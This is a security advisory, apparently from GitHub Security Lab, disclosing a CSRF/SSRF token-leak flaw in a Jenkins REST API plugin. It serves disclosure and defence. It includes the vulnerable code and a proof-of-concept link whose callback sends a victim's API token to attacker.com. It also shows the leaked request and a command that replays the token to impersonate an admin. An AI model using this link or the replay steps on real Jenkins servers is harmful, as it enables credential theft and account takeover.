Coordinated Disclosure Timeline
- 2023-04-11: Issue reported to the Jenkins Security team.
- 2023-07-12: Advisory published (no fix available).
Summary
A Cross-Site Request Forgery (CSRF) and a Server-Side Request Forgery (SSRF) vulnerabilities in jenkinsci/pipeline-restful-api-plugin
may allow an attacker to retrieve a token to impersonate its victim.
Product
Pipeline restFul API Jenkins plugin
Tested Version
Details
Account credentials leak via CSRF/SSRF (GHSL-2023-064
)
The InstanceAPI#doGenerateToken
, method generates a token to be used with the JCLI tool. However, this method does not prevent CSRF attacks and is vulnerable to SSRF. An attacker may craft a URL link that, when visited by the victim, will leak a JCLI token that may be used to impersonate him. The affected code is:
public void doGenerateToken(StaplerResponse rsp, @QueryParameter(required = true) String callback) throws IOException, ServletException {
User user = User.current();
if (user == null) {
System.out.println("not login yet");
return;
}
ApiTokenProperty token = user.getProperty(ApiTokenProperty.class);
ApiTokenProperty.DescriptorImpl desc = (ApiTokenProperty.DescriptorImpl) token.getDescriptor();
HttpResponse response = desc.doGenerateNewToken(user, "jcli-auto-");
ByteArrayOutputStream output = new ByteArrayOutputStream();
StaplerResponseWrapper out = new StaplerResponseWrapper(rsp) {
@Override
public ServletOutputStream getOutputStream() throws IOException {
return new ServletOutputStream(){
@Override
public void write(int b) throws IOException {
output.write(b);
}
@Override
public boolean isReady() {
return false;
}
@Override
public void setWriteListener(WriteListener writeListener) {
}
};
}
};
response.generateResponse(null, out, null);
HttpURLConnection urlCon = (HttpURLConnection) new URL(callback).openConnection();
urlCon.setRequestMethod("POST");
urlCon.setDoOutput(true);
urlCon.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
JSONObject jsonObj = JSONObject.fromObject(output.toString());
jsonObj.getJSONObject("data").put("userName", user.getFullName());
urlCon.setFixedLengthStreamingMode(jsonObj.toString().length());
try(OutputStream os = urlCon.getOutputStream()) {
os.write(jsonObj.toString().getBytes());
}
String result = "All set, jcli is ready! For example: 'jcli plugin list'. You can close this page now.";
rsp.setContentLength(result.length());
rsp.getWriter().write(result);
}
In order to exploit the vulnerability, the attacker needs to prepare a URL link and send it to its victim. For example, to send the token to attacker.com
:
http://target-jenkins/jenkins/instance/generateToken?callback=http:%2F%2Fattacker.com`
If the victim visits this link, the following POST
request will be sent to attacker-controlled server:
POST / HTTP/1.1
Content-Type: application/json; charset=UTF-8
User-Agent: Java/11.0.16.1
Host: itfkg29npmqd26enmtvakkyzlqrhfh36.oastify.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-Length: 169
{"status":"ok","data":{"tokenName":"jcli-auto-","tokenUuid":"acb6a67c-647f-4269-80de-434c00d4d29f","tokenValue":"11ef27a29f4a4ebf220ed6c1d925998b22","userName":"admin"}}
Note that the victim needs to be authenticated when visiting the link.
Once the attacker receives the token, they can use it to impersonate the victim using the JCLI tool:
❯❯❯ jcli user --token 11ef27a29f4a4ebf220ed6c1d925998b22
{
"absoluteUrl": "http://localhost:8080/jenkins/user/admin",
"Description": "",
"fullname": "admin",
"ID": "admin"
}
This vulnerability was found using CodeQL’s SSRF Java query.
Impact
This vulnerability can lead to sensitive secret credentials leak, account takeover and Remote Code Execution (RCE).
Resources
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2023-064
in any communication regarding this issue.